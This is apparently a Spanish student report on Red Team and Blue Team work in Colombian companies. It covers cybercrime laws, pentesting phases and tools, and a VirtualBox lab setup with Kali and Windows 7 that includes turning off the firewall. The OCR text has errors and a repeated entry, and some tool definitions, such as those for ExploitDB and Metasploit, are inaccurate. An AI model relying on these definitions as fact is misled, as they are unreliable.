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GLOSARIO

BLUE TEAM: Es el equipo de seguridad encargado de proteger activamente a la
organizacion de los ataques. Realizan una vigilancia constante, analizando
patrones y comportamientos quese salen de lo comun tanto a nivel de sistemas y
aplicaciones como de las personas, enlo relativo a la seguridad de la informacion .
La funcion principal de este equipo de ciberseguridad es evaluar diversas amenazas
gue puedan afectar a la organizacion conun monitoreo constante de (red, sistema,
entre otros) y proponer planes de accion para reducir riesgos.

CIBERATAQUES: Es un desarrollo intencional a sistemas informaticos, empresas y
redes que dependen dela tecnologia. Estos ataques utilizan cédigo malicioso para
cambiar la l6gica o los datos de la computadora, o que tiene consecuencias
perjudiciales para toda la empresa. Un ciberataque puede involucrar a un equipo de
élite de piratas informaticos que trabajan bajo la autorizacién de un estado-nacion.
Su propésito es crear programas que explotenfallas previamente desconocidas en
el software. El proposito de los ataques cibernéticoses intentar exponer, cambiar,
desestabilizar, destruir y eliminar para obtener acceso no autorizado.

RED TEAM: Realizar un proceso de simulacién de los escenarios de amenazas que
la organizacién puede enfrentar, analizar la seguridad desde la perspectiva de un
atacante y proporcionarla al equipo mas seguridad?.

El equipo rojo utiliza sus propias herramientas para simular un atacante y tiene la
funciébnde explotar vulnerabilidades de seguridad y claves de seguridad en el
sistemay / o aplicaciones. El Equipo Rojo es un equipo de profesionales que ataca
(siempre controlado) contra los objetivos previamente definidos por el cliente en
base a contratosde confidencialidad y alcance.

SEGURIDAD INFORMATICA: Se concentra en proteger la infraestructura
informatica y todo lo relacionado especialmente con la informacién contenida en la
computadora o la informacion transmitida a través de la red informatica para ello
existen una serie de estandares, acuerdos, métodos, reglas, herramientas y leyes
disefiadas para minimizar los riesgos potenciales para la infraestructura o la
informacion. “es el proceso de prevenir y detectarel uso no autorizado de un sistema
informatico. Implica el proceso de proteger contra intrusos el uso de nuestros

1 UNIR revista, Red Team, Blue Team y Purple Team. [Online]. ¢Cuales son sus funciones y
diferencias? 07 de enero 2020. Consultado el 22 de octubre de 2020.
Disponible en: https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/



recursos informaticos con intenciones maliciosas o con intencién de obtener
ganancias, o incluso la posibilidad de acceder a ellos por accidente™.

SEGURIDAD INFORMATICA: Se concentra en proteger la infraestructura
informéatica y todo lo relacionado especialmente con la informacion contenida en la
computadora o la informacion transmitida a través de la red informéatica para ello
existen una serie de estandares, acuerdos, métodos, reglas, herramientas y leyes
disefiadas para minimizar los riesgos potenciales para la infraestructura o la
informacion. “es el proceso de prevenir y detectarel uso no autorizado de un sistema
informatico. Implica el proceso de proteger contra intrusos el uso de nuestros
recursos informéticos con intenciones maliciosas o con intencion de obtener
ganancias, o incluso la posibilidad de acceder a ellos por accidente™.

VULNERABILIDADES: Es el peligro que un individuo, sistema u objeto puede sufrir
frente a peligros inminentes. Una vulnerabilidad es una debilidad que puede poner
en peligro toda una red y por esodeben existir los expertos en ciberseguridad para
aliviar las amenazas 4.

Una vulnerabilidad es una debilidad o mal funcionamiento en un sistema de
informacion,que pone en riesgo la seguridad de la informacién y puede permitir que
un atacante destruya su integridad, disponibilidad o confidencialidad, por lo que es
necesario encontrarlos y eliminarlos lo antes posible.

2 Universidad Nacional de Valencia. ¢Qué es la seguridad informatica y cémo puede ayudarme?
[Online]. CIENCIA Y TECNOLOGIA. 21 marzo 2018. Consultado el 22 de octubre de 2020.
Disponible en Internet: https://www.universidadviu.com/la-seguridad-informatica-puede-ayudarme/

8 Universidad Nacional de Valencia. ¢ Qué es la seguridad informatica y como puede ayudarme?
[Online]. CIENCIA Y TECNOLOGIA. 21 marzo 2018. Consultado el 22 de octubre de 2020.
Disponible en Internet: https://www.universidadviu.com/la-seguridad-informatica-puede-ayudarme/

4 Campus de Ciberseguridad. Tipos de vulnerabilidades en ciberseguridad. [Online]. Los tipos de
vulnerabilidades. noviembre 27 2015. Consultado el 22 de octubre de 2020. Disponible en:
https://lwww.campusciberseguridad.com/blog/item/118-tipos-de-vulnerabilidades-en-ciberseguridad



RESUMEN

El presente trabajo consiste sobre los equipos de ciberseguridad Red Team y
Blue Team en la prevencion de ataques informaticos en las organizaciones
privadas de Colombia. Cuando hablamos de seguridad informéatica y proteccion
de datos se utilizan dos equiposfundamentales el equipo rojo y el equipo azul,
ambos realizan un trabajo complementario para detectar vulnerabilidades y
sobre todo emular escenarios de amenaza. Es importante que las
organizaciones privadas colombianas sin importar su tamafio o naturaleza
juridica cuenten con equipos de ciberseguridad Red Team y Blue Team que
faciliten la implementacion de procedimientos de revision técnica por parte de
controladores y seguridad de la informacién de esta misma.

En la actualidad el impacto en las organizaciones colombianas tras sufrir
ciberataques seextiende en la parte econémica con la perdida de activos
financieros, afecta su productividad, existe perdida de informacion privilegiada y
data sensible. Comprender losriesgos asociados con la ciberdelincuencia a los
gue estan expuestas las organizacionesprivadas colombianas dia a dia hacen
relevante el trabajo de los equipos de ciberseguridad Red Team vy Blue Team
de los cuales estudiaremos.

Por consiguiente, se hace evidente comprender la importante del
comportamiento de losequipos de ciberseguridad red y Blue Team. El equipo
rojo es responsable de analizar y determinar el nivel de preparacién de las
empresas de Colombia ante posibles ciberataques y realizar pruebas de
penetracion contra estos objetivos. Al encontrar vulnerabilidades en el sistema,
el equipo azul es el responsable de implementar métodosde prevencion contra
ataques dirigidos y pérdida de informacion.

Mediante el uso de red y Blue Team se busca identificar las principales
vulnerabilidades de cada una de las empresas colombianas para comprender e
inferir la ruta del atacante.El propésito es delinear una serie de medidas
preventivas a través de un plan de acciénpara mitigar riesgos y vulnerabilidades
en la infraestructura de Tl de la empresa Colombia.



INTRODUCCION

La ciberseguridad debe ser una prioridad para todas las organizaciones
privadas colombianas y mas en estos momentos que la transformacion digital
esta en constante evolucion. Esta situacion hace necesario realizar analisis de
las principales amenazas y vulnerabilidad a las que se encuentran expuestas
las organizaciones en Colombia, pues el desconocimiento y la falta de
ciberseguridad hacen mas vulnerables los sistemas y danopcion a los siguientes
delitos como estafas, falsificacion de identidad, phishing y ataques mas
elaborados con un grado técnico muy alto.

El continuo desarrollo de la tecnologia informética y el continuo desarrollo de
Internet hahecho posible que personas y organizaciones contraten un equipo
de expertos en pruebas de penetracion para analizar las vulnerabilidades en sus
instalacionesy sistemasinformaticos para asegurar la integridad confidencialidad
disponibilidad de la informacion, lo que aumenta la productividad y la
competitividad empresarial en general.

En la presente actividad se debe presentar un informe técnico donde relacione
los aspectos relevantes del desarrollo de las actividades anteriores y plantee
recomendaciones y conclusiones que aporten a mejorar las estrategias usadas
por Red Team y Blue Team.



OBJETIVOS

1.1 OBJETIVOS GENERAL

Formular estrategias de contencion mediante el analisis de riesgos y
vulnerabilidades enuna infraestructura TI.

1.2 OBJETIVOS ESPECIFICOS

- Evaluar las acciones de los equipos Red Team y Blue Team de una
organizacionen el marco de los criterios éticos y legales.

- Integrar las acciones de los equipos Red Team y Blue Team de una
organizacionen el marco de los criterios éticos y legales.

- Demostrar vulnerabilidades en un sistema informético a partir del uso
demetodologias y técnicas de intrusién.

- Exponer estrategias de contencion mediante el analisis
de riesgos y vulnerabilidades en una infraestructura TI.
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2 DESARROLLO DEL TRABAJO ETAPA 1

2.1 Conceptos equipos de seguridad

La actividad consiste en:

De manera individual usted debera consultar y dar respuesta a las preguntas
orientadorasteniendo en cuenta los siguientes pasos:

- Consultar

- Leer

- Comprender
- Redactar

- Citar

- Referenciar

Una vez tenga en cuenta los pasos indicados anteriormente debe responder los
siguientes puntos de manera argumentativa:

Dentro del margen legal en Colombia sobre delitos informaticos y proteccion de
datos personales redacte con sus propias palabras que legislacion “leyes,
decretos” existen actualmente y las caracteristicas principales de cada ley.

Colombia es un pais que poco a poco ha ido evolucionando en temas
tecnoldgicos de igual manera en normatividad sobre delitos informéticos sin
embargo en relacién al desarrollo del margen legal en Colombia en pro de
defender la confidencialidad, integridad y disponibilidad de los sistemas
informaticos esta falta mucho por regular y hacer cumplir.

Algunos elementos importantes en base a la proteccion de datos personales
tenemos lassiguientes leyes y decretos:

2.2 LEY 1273 DE 2009

“Por medio de la cual se modifica el Codigo Penal, se crea un nuevo bien juridico
tutelado - denominado “de la proteccion de la informacion y de los datos™- y se
preservan integralmente los sistemas que utilicen las Tecnologias de la
informacion y las comunicaciones, entre otras disposiciones.”

5 COLOMBIA. Ministerio de Tecnologias de la Informacion y las Comunicaciones Ley 1341 de 2009
[Online]. MINTIC, julio 30 del 2009. Consultado el 10 de febrero de 2022. Disponible  en
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=36913 11
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Articulo 269A: Uso indebido del acceso a los sistemas informaticos. Cualquier
persona, no autorizada o fuera de convenio, que tenga acceso, en todo o en parte,
a un sistema informatico protegido o no seguro, o que permanezca en €l contra la
voluntad de cualquiera que tenga derecho a excluirlo.

Articulo 269B: Obstrucciéon ilicita de sistemas informaticos o redes de
telecomunicaciones. Impedir o dificultar el funcionamiento o normal acceso a los
sistemas informaticos, datos informaticos contenidos en los mismos o redes de
telecomunicaciones, sin autorizacion para ello.

Articulo 269C: Intercepcion de datos informaticos. La interceptacion de datos
informaticos, o las radiaciones electromagnéticas que emanan del sistema
informatico que los transmite, sinorden judicial previa, dentro del origen, destino o
sistema informéatico de los datos informéticos.

Articulo 269D: Dafios informaticos. El que destruya, dafie, borre, deteriore, altere
0 suprima datos informéticos o sistemas de procesamiento de informacion o sus
partes logicas o componentes sin autorizacion

Articulo 269E: La persona que produzca, transporte, obtenga, distribuya, venda,
envie, introduzca o extraiga malware u otros programas informéticos con efectos
nocivosdentro del territorio del pais sin autorizacion.

Articulo 269F: Violacién de Datos Personales. Quien, sin tener derecho a ello,
obtenga, recopile, sustraiga, ofrezca, venda, permute, envie, compre, intercepte,
divulgue, modifigue o utilice claves personales, contenidas en documentos,
archivos, bases de datos o medios analogos.

Articulo 269G: Suplantacion de identidad en un sitio web para obtener datos
personales. Quien disefie, desarrolle, transmita, venda, ejecute, programe o envie
paginas electrénicas, enlaces o pop-ups con fines ilicitos y sin derecho a ello.

Articulo 269H: Pena aumentada: Las penas impuestas conforme a las disposiciones
de este titulo se incrementaran de la mitad a las tres cuartas partes.

Articulo 269I: Robo por medios informaticos y similares. El que vulnere las medidas
de seguridad informatica manipulando sistemas informaticos, redes de sistemas
electrénicos y realizando los actos previstos.

Articulo 269J: Transferencia involuntaria de bienes. Cualquier persona con animo
de lucro y utilizando cualquier operacion informética o medio similar para transferir
cualquier activo sin consentimiento en perjuicio de un tercero.

12



2.3 LEY 527 DE 1999

La misma fue firmada y expedida en la republica de Colombia en el afio 1999 el
18 de agosto la cual trata sobre la reglamentacion del acceso y uso de datos,
comercio electrénico y firmas digitales por Ultimo se establecio cuales serén las
entidades certificadas para tales fines y otras disposiciones.

Por medio de la cual se define y reglamenta el acceso y uso de los mensajes de
datos, también del comercio electrénico, de las firmas digitales, y se establecen
las entidades de certificacion y se dictan otras disposiciones.

2.4 LEY 962 DE 2005

Fue expedida en la republica de Colombia el dia 8 de julio del 2005, por medio
de la cual se establecieron disposiciones legales en base a los tramites
administrativos de los organismos y entidades del Estado particularmente para
los que son funcionarios publicos.

2.5 LEY 1341 DE 2009

Fue expedida en la Republica de Colombia el dia 30 de julio del 2009, “Por la
cual se definen principios y conceptos sobre la sociedad de la informacion y la
organizaciéon de las Tecnologias de la Informacion y las Comunicaciones TIC,
se crea la Agencia Nacional de Espectro y se dictan otras disposiciones®.”

2.6 LEY 1581 DE OCTUBRE 17 DE 2012

Fue expedida en la republica de Colombia del dia 17 de octubre del afio 2012,
pormedio de la cual se prohibe la trasferencia de datos a paises que no tiene
regulados la proteccion de datos. “Esta prohibicion NO REGIRA cuando se trate
de: Informacion respecto de la cual el Titular haya otorgado su autorizaciéon
expresa e inequivoca para la transferencia.”

2.7 DECRETO 1377 DE 2013
Fue expedido en la Republica de Colombia el afio 2013, "Por el cual se

reglamentaparcialmente la Ley 1581 de 2012”’ tiene por objeto "(...) desarrollar
el derecho constitucional que tienen todas las personas a conocer, actualizar y

6 COLOMBIA. Secretaria General de Bogota. Ley 1341 de 2009 (30 de julio del 2009). [Online].
Consultado el 10 de febrero de 2022. Disponible en:
https://secretariageneral.gov.co/transparencia/normatividad/normatividad/ley-1341-2009

7 COLOMBIA. Funcién Publica. Decreto 1377 de 2013 (26 de junio 2013). Consultado el 28 de
noviembre de 2020. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646
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rectificar las informaciones que se hayan recogido sobre ellas en bases de datos
o archivos, ylos demas derechos, libertades y garantias constitucionales a que
se refiere el articulo 15 de la Constitucion Politica; asi como el derecho a la
informacién consagrado en el articulo 20 de la misma?®".

2.8 Documento COMPES 3854 politica nacional de seguridad digital

La politica nacional de seguridad digital, objeto de este documento, cambia el
enfoque tradicional al incluir la GESTION DEL RIESGO como uno de los elementos
mas importantes para abordar la seguridad digital. Las estrategias para alcanzar
su objetivo principal son: fortalecer las capacidades de las multiples partes
interesadas, para: ¢ Identificar « Gestionar « Tratar « Mitigar los riesgos deseguridad
digital en sus actividades socioeconémicas en el entorno digital®.”

“El documento incluye un diagndstico de la situacion del pais en el que se exponen
las debilidades en seguridad digital y se definen los objetivos de la Politica
propuesta. Ademas, se incluye un Plan de Accion a corto plazo para implementar
en los proximos dos afios con actuaciones concretas para: (i) fortalecer las
capacidades en seguridad digital de los ciudadanos, del sector publico y del sector
privado; (ii) actualizar el marco de gobernanza en materia de seguridad digital y (iii)
analizar la adopcion de modelos, estdndares y marcos de trabajo en materia de
seguridad digital, con énfasis en nuevas tecnologias para preparar al pais a los
desafios de la llamada Cuarta Revoluciénindustrial”.°

En el mundo de la ciberseguridad existen procesos definidos para poder ejecutarde
forma organizada lo que se conoce como pruebas de penetracion o pentesting;usted
como futuro experto debera redactar con sus palabras y definir cada una delas
etapas del pentesting, dentro de la definicion incorporard un ejemplo de una
herramienta que se utilice para cada una de las etapas del pentesting.

“Un test de penetracion por lo general es una accion acordada entre un pentester
y una empresa o individual que desea tener sus sistemas informaticos puestos a
prueba para identificar y posteriormente corregir posibles vulnerabilidades y los

8 COLOMBIA. Funcién Publica. Decreto 1377 de 2013 (26 de junio 2013). Consultado el 28 de
noviembre de 2020. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646

9 JARAMILLO, Alejandro. CONPES 3854 copyright © 20186, fireeye, inc. all rights reserved.

de la proteccion reactiva a la respuesta proactiva junto a fireeye. [en linea]. 2014 Consultado: 01

de octubre de 2021. Disponible en internet: https://www.minambiente.gov.co/images/tecnologias-de-
la- informacion-y-comunicacion/pdf/conpes_3854 politica_nacional_seguriad_digital.pdf

10 PROGRESO. Confianza y Seguridad Digital. Documento CONPES 3995

Consejo Nacional de Politica Econdémica y Social (CONPES) [en linea]. Consultado: 01 de octubre
de 2021. Disponible en internet:
http://www.fundacionmicrofinanzasbbva.org/revistaprogreso/confianza-seguridad- digital-
documento-conpes-3995/
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peligros asociados a las mismas. Estaauditoria representa para el cliente una
importante fuente de informacién yaque el pentester actuard& como un atacante
proporcionando informacion desde un punto de vista totalmente diferente al que el
propio equipo de IT de la empresa (en caso que no se realicen tests de
penetracion) pueda aportar.

El objetivo del test de penetracion variara de cliente en cliente, se puede pedir al
pentester comprobar una aplicacion web, intentar ejecutar ataquesde ingenieria
social, actuar como un atacante interno, comprobar los sistemas fisicos de
seguridad en la oficina, etc. Normalmente cualquier testde penetracion se debe
efectuar siguiendo unos pasos predeterminados para poder presentar finalmente
unos buenos resultados, estos pueden variar en cierta medida dependiendo del

. . . . 11
auditor pero generalmente vienena ser los siguientes

2.9 FASES DE UN TEST DE PENETRACION

2.9.1 Fase 1 Contacto

En esta fase inicial, el cliente debe acordar de qué se tratara la prueba de
penetracion, cuél es el objetivo de la prueba de penetracién, cuales son los
servicios criticos de la empresa y qué problemas mayores pueden surgir en caso
de un ataque.

2.9.2 Fase 2 derecoleccion de informacion
Recopilaciéon de informacion en esta fase de pruebas de penetracion, se trabaja
en obtenertoda la informacion posible sobre la empresa a través de arafias y
escaner paracomprender los sistemas y programas que se estan ejecutando.
La actividad de un empleado en la red social de una empresa también puede
revelar los sistemas que utiliza,el correo electrénico y mas.

Se explica al cliente los tipos de test de penetracidon: Black box Gray, Box White
box

2.9.2.1 Auditoria caja negra

La "caja negra" se denomina auditoria de seguridad o prueba de penetracion,

11 CYBERSEGURIDAD.NET. Las fases de un test de penetracion (Pentest) (Pentesting I) [en
linea]. 23 agosto 2015 Consultado: 11 de febrero de 2022. Disponible en internet:
https://www.cyberseguridad.net/las-fases-de-un-test-de-penetracion-pentest-pentesting-i
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en la que el auditor no comprende la infraestructura técnica subyacente. Este
control de seguridades muy adecuado para simular ataques de personas ajenas
a la organizacion y comprender el alcance de los ataques. En este tipo de
revision de seguridad el equipo auditor tampoco tiene usuarios previos para
interactuar con la aplicacion a analizar. El equipo de analistas debe recopilar
informacion sobre la plataforma en este tipo de trabajopara poder elaborar el plan
de ataque mas razonable.

2.9.2.2 Auditoria caja blanca

Esta es una auditoria de seguridad mas completa. Entre ellos, proporciona
informacion técnica sobre el activo a auditar, incluida informacion que depende
del activo que se analiza, como usuarios, contraseflas y mecanismos de
seguridad existentes. Con este método, el auditor no necesita gastar energia
adicional para buscar informacion, pero puede concentrarse en aquellos
elementos que son criticos para su negocio.

El propoésito es proteger la plataforma de ataques mas sofisticados, brindar
mayor proteccion a la plataforma contra atacantes que tienen mas recursos o por
la criticidad dela informacion que manejan.

2.9.2.3 Auditoria caja gris

Esta es una auditoria que mezcla las caracteristicas de las dos primeras. Puede
ser la mejor auditoria porque se simula el ataque y se obtiene un mejor codigo
para nuestra aplicacion. Parte de la informacion se puede informar al auditor y
pedirle que intente "escalar" Para el resto del sistema, también puedes intentar
iniciar esta prueba desde mudltiples puntos, estas pruebas incluyen red interna,
red externa, Wi-Fi, puesto de empleado, extranet, etc.

2.9.3 Fase 3 de modelado de amenaza
Fase de modelado de amenazas en este punto, con base a la informacién
recopilada anteriormente, se tiene que pensar como un atacante, cual sera
nuestra estrategia de penetracion. Cuales deben ser nuestros objetivos y cémo
debemos alcanzarlos.
Los métodos mas comunes son: Google Hacking, Osint, Doxing.

2.9.4 Fase 4 de Analisis de vulnerabilidades

Fase de analisis de vulnerabilidad, en este punto, se debe evaluar el éxito
probable de laestrategia de penetracion mediante la identificacion proactiva de
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vulnerabilidades. Es eneste momento que se revela el poder del probador de
penetracion debido a su creatividad.

2.9.5 Fase 5 de Explotacion

Etapa de desarrollo, es hora de intentar acceder al sistema objetivo de la prueba
de penetracion, para ello se realiza un exploit contra las vulnerabilidades
identificadas en laetapa anterior, o simplemente se utiliza las credenciales
obtenidas para acceder al sistema.

A continuacion, relaciona las algunas herramientas con las que se realiza la
explotacion de un sistema informatico: Aircrack-ng, THC Hydra, Netcat, Nmap,
Nessus, WireShark, Snort, Kismet Wireless.

2.9.6 Fase 6 de Post-Explotacion

Fase de post-desarrollo, una vez que se ingrese al sistema del cliente, comienza
la etapaen la que se debe demostrar qué significa esta brecha de seguridad
para el cliente. Acceder a una computadora vieja que ni siquiera es parte de un
dominio no es lo mismoque ir directamente a un DC.

2.9.7 Fase 7 de Informe

Fase de Informe final, se debe presentar los resultados de la auditoria al cliente
para quecomprenda la gravedad del riesgo que representan las vulnerabilidades
descubiertas ensu empresa u organizacion, destacando los puntos donde la
seguridad se ha implementado correctamente.

2.10 LAS HERRAMIENTAS DE CIBERSEGURIDAD

Las herramientas de ciberseguridad son de vital importancia, ademas que existe
un gran abanico de posibilidades de herramientas existentes y software
especializado para desarrollar herramientas propias. Usted como futuro experto
debe definir y explicar las siguientes herramientas:

2.10.1 Metasploit

Es una herramienta desarrollada en Perl y Ruby y se enfoca en auditar, sin
embargo, la seguridad también se utiliza con fines maliciosos por los
ciberdelincuentes, esta herramienta tiene muchas vulnerabilidades y se utiliza
vulnerabilidades conocidas en las que los médulos se denominan cargas Utiles
esel codigo que explota la vulnerabilidad. tiene otros maddulos llamados
codificadores, que contienen la evasion de antivirus o sistema de seguridad.
Ademas, permite la interaccion con otras herramientas como Nmap.
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2.10.2 Nmap

Esta es una herramienta de codigo abierto para explorar la red y realizar auditorias,
esta herramienta utiliza paquetes IP para determinar qué equipos estan disponible
en la web. Con esta herramienta es posible determinar servicios, como el nombre
y version de la aplicacion, sistema operativo y tipo de cortafuegos en ejecucion.

2.10.3 OpenVas

Open Vulnerability Assessment Scanner, es un framework, es una
herramienta de escaneo de vulnerabilidades que puede detectar diferentes tipos
de problema es de bajo riesgo para el usuario.

Ofrece un gran namero de servicios y herramientas, con las cuales se obtiene
unabuena alternativa para el escaneo y gestion de vulnerabilidades; tiene la
potencialde examinar multiples protocolos de internet e industriales, de alto y
bajo nivel.

2.10.4 ExploitDB

Su palabra quieres decir “explorar y aprovechar” hablando se sistemas
informaticos. Es un conjunto de comandos y acciones usado con la finalidad de
aprovechar toda vulnerabilidad encontrada en un sistema y para lograr un
funcionamiento no no correcto ni deseado por los duefios.

2.10.5CVE

“Los puntos vulnerables y las exposiciones comunes (CVE) conforman una lista
de fallasde seguridad informética que se encuentra disponible al publico.
Cuando alguien habla de un CVE, se refiere a una falla a la cual se le asigné un
ndmero de identificacion.

Las advertencias de seguridad que emiten los proveedores y los investigadores
casi siempre mencionan al menos uno de estos identificadores. Los CVE
permiten que los especialistas en Tl coordinen sus iniciativas para priorizar y
solucionar los puntosvulnerables, a fin de reforzar la seguridad de los sistemas
informaticos.”?

2.11 INSTALACION Y CONFIGURACION DEL “BANCO DE TRABAJO”

Para finalizar esta actividad es importante que se reconozca, analice y configure
el “banco de trabajo”, lo solicitado en el anexo 1 Escenario 1 sobre el cual debera

12 RED HAT. El concepto de CVE. [On line]. 25 noviembre 2020. Consultado: 11 de febrero de 2022.
Disponible en: https://www.redhat.com/es/topics/security/what-is-cve
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trabajar actividades que contienen un alto grado de tecnicidad. Lo solicitado en
el anexo escenario 1 es lo siguiente:

Paso A: descargar la herramienta virtualizadora “VirtualBox” en su ultima
version.

Figura 1. Descarga Maquina Virtual

C @ virtualbox.org

@ N B Gy '—'7 O
XZ .VirtualBox

VirtualBox is a powerful x86 and AMD64/Intel64 virtualization product for enterprise as well as home use. Not only is VirtualBox an

extremely feature rich, high performance product for enterprise customers, it is also the only professional solution that is freely

available as Open Source Software under the terms of the GNU General Public License (GPL) version 2. See "About VirtualBox" for
About an introduction.

Sceanshots presently, VirtualBox runs on Windows, Linux, Macintosh, and Solaris hosts and supports a large number of guest operating systems

Downloads including but not limited to Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8, Windows 10), DOS/Windows
3.x, Linux (2.4, 2.6, 3.x and 4.x), Solaris and OpenSolaris, 0S/2, and OpenBSD.

Documentation

VirtualBox is being actively developed with frequent releases and has an ever growing list of features, supported guest operating

systems and platforms it runs on. VirtualBox is a community effort backed by a dedicated company: everyone is encouraged to

Technical docs contribute while Oracle ensures the product always meets professional quality criteria.

End-user docs

Contribute

e Download

VirtualBox 6.1

Hot picks:

« Pre-built virtual machines for developers at = Oracle Tech Network
« Hyperbox Open-source Virtual Infrastructure Manager = project site
« phpVirtualBox AJAX web interface = project site

Fuente: propia

Paso B: una vez se realice apertura del foro para el desarrollo dela actividad se
procederda compartir enlace de descarga de lo requerido para el montaje del
banco de trabajo, lasimagenes en formato. OVA las cuales se encuentran ya
preconFiguradas para serutilizadas en las actividades de caracter técnico. En
las imagenes. OVA existe: Un Windows 7 X86, un Windows 7 X64, un Kali Linux.

Como se indico en la guia el tutor nos comparte un drive con las OVAS
preconFiguradasde Un Windows 7 X86, un Windows 7 X64, un Kali  Linux.
https://drive.qgoogle.com/drive/folders/10k-TcnJYINZ9g419csNBdS49EdCo0sWx
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Figura 2. Descarga de OVAS
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Compartido conmigo > Seminario Especializado - OVAS > OVAS - Laboratorios ~
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Compr.

Fuente: propia

Figura 3. Instalacién de OVAS
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Fuente: propia
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Figura 4. Instalacién Windows 7 x86

-

H P Escribe aqui para buscar

Fuente: propia

Ol o U@ 8 oR perEci

En la Figura 4 se observa la instalacion del sistema operativo Window?7

Figura 5. Instalacion Windows7 x64

H R Escribe aqui para buscar — w N D ¥ 4 L 3

Fuente: propia
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Figura 6. Instalacién Kali Linux

Qo SR @ 8 onoomeon
S ]

Fuente: propia

Paso C: se debe validar que exista comunicacion entre cada una de las
magquinas Windows con la maquina de Kali Linux, recuerde porfavor no encender
las tres maquinas al tiempo ya que puede colapsar los recursos hardware de su
equipo host, encienda primero una maquina Windows y posterior a ello encienda
la maquina Kali Linux.

Se observa en la presente imagen que no se obtuvo ningun colapso de los
recursos del hardware, se tiene las dos maquinas corriendo sin
problema.

Figura 7. Equipo Windows y Kali Linux corriendo

Excribe aau pars buscar

(= B
Fuente: propia
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Para poder tener conexion entre las maquinas debemos crear una red la cual
asigne pornombre “seminario” y el direccionamiento manual el cual tiene una
cobertura entre 0-24.

Figura 8. Creacion de red seminario

[ — enerar Rea
Entada  Redes NAT| & Detalles de red NAT
£51 Seq. DB
Adivo |
&) Actualza ] Hobiar red
i Win7-SE2020-X64 ot (= |

AHESE

© Aot . Nombre dored: sominario
Red CIDR: 10020724
Opciones de red: ] Sopexta DHCP
] Soporta 106

Reenvio de puertos

[Chcotar | canceiar

n A Escribe aqui para buscar

Fuente: propia

En cada una de las maquinas se debe hacer la modificacion en: red conectado
a red NAT, también en nombre “seminario” que fue la red que inicialmente se
creo.

Figura 9. Cambio de red en Kali Linux por "seminario"

| Sistema Adaptador 1 Adaptador 2 Adapt Adapta
B rantala

) Almacenamiento Conectadoa: SEEEEEE
« |

y . Nombre: seminario
@B Audio

B Red
>

i» Avanzadas

{8 Puertos serie
7 UsB
Carpetas compartidas

Interfaz de usuario

Fuente: propia

Para tener conexion entre las maquinas se debe asignar direccionamiento IP
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manualmente. En la maquina de Windows quedaron asi:

Windows7 x84 192.168.9.3
Windows7 x64 192.168.1.107

Figura 10. Cambio de direccionamiento IP

ol

esta conexion

- o =~ 0 @
§ Propiedades de Conexién de érea local =]

Funciones dered |

Propiedades: Protocolo de Intemet version 4 (TCP/IPvd)
General |

Puede hacer que |2 configuracion IP se asigne autométicamente iz
red es compatble con esta funcionaidad. De lo contrario, deberd
consultar con el administrador de red cual es |a configuracion TP
apropiada.

(©) Obtener una direccidn IP automaticamente

® User l2 siguiente direccién 1P

Direccidn IP: 192.168. 9 . 3 B
Méscara de subred: 255.255.255. 0
Puerts de enlace predeterminada: 192.168. 9 . 1

Obtener la direccion del servidor D

uton

® Usar las siguientes direcciones de servidor DIS:

Servidor DNS preferido: 8.8.8.8
Servidor DNS alternativo: 8.8 .4.4
[E] validar al salir

1

Fuente: propia

En Windows se debe verificar que el firewall esté desactivado para que se
tenga unabuena conexion como se muestra en la Figura 11.

Figura 11. Desactivar firewall de Windows

Folre s

~ [ 4 || Buscoren el Panet de contro 2|

@'O.m« Firewall de Windows » Personalizar configuracién

Personalizar la configuracién de cada tipo de red
Puede modificar Iz configuracién del firewall para cada tipo de ubicacién de red que use.
2Qué son las ubicaciones de red?
Configuracién de ubicacién de red doméstica o del trabajo (privada)
@ O ActivarFirewall de Windows

Bloquear conexiones entrant

las de la fista de programas permitidos

Notificarme cuando Firewall de Windo,

un nuevo programa
) (© DesactivarFirewall de Windows (no recomendado)

Configuracién de ubicacion de red publica

9

& programas permitidos
© programa
1 © DesactivarFirewall de Windows (no recomendadc)

Fuente: propia
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Paso D: evidenciar con printscreen el montaje del banco de trabajoy explicar como
se encuentra desplegado caracteristicas técnicas de hardware.

Figura 12. Verificacion de direccion IP

515

Microsott Windows 6. 515
Copyright (c> 2889 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario>ipgonfig

Configuracién IP de Windouws

Adaptador de Ethernet Conexién de &rea local:

Sufijo DNS especifico para la conexién. .

Uinculo: direccidén IPub local. . . : fe8@::8%91f:edae:4986:63afx11
Direccidén IPv4. . . . . . . . . . . . . . = 192.168.9.3

Mascara de subred . . . . . . . . . . . . = 255.255.255.08

Puerta de enlace predeterminada . . . . . @ 192.168.9.1

Adaptador de tinel isatap.{A658CFDA-2CEF-4786-9B5A-536C989076D5>:

Estado de los medios. . o ya medios desconectados

Sufijo DNS especifico pa;a-lé éuﬁe;ién. 3

C:\Users\usuario>

Fuente: propia
Figura 13. Cambio de direccioén IP en Kali Linux

B mmO=|[g] O Conexiones .. O EditandoWi.. 0314PM O ) A @ 55%| @ G

Editando Wired connection 1
Nombre de la conexion  Wired connection1

Seguridad 802.1x Ajustes de IPv4
Método  Automatico (DHCP)

Direcciones estdticas adicionales
Anadir

192.168.9.4 255.255.255.0 192.168.9.1
Eliminar

Servidores DNS adicionales 8,8,8,8
Dominios de busqueda adicionales

ID del cliente DHCP

Requiere direccion IPv4 para que esta conexion se complete

Cancelar

Fuente: propia
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Ingresando el comando ip address se verifica que el cambio de ip fue efectivo y
quedod: 192.168.9.4

Figura 14. Verificacion de cambio de IP

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gqdisc noqueue s
efault qlen 1000
1link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_1ft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdi
UP group default qlen 1000
link/ether 08:00:27:1f:41:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.9.4/24 brd 192.168.9.255 scope global
valid_1ft forever preferred_1ft forever
inet6 fe80::a00:27ff:felf:4101/64 scope link nopref|

valid_1ft forever preferred_l1ft forever
root@seminario:~#

Fuente: propia

Ingresando el direccionamiento de Windows en Kali Linux: LinuxPing
192.168.9.3

Se obtiene lo descrito en la imagen 15.
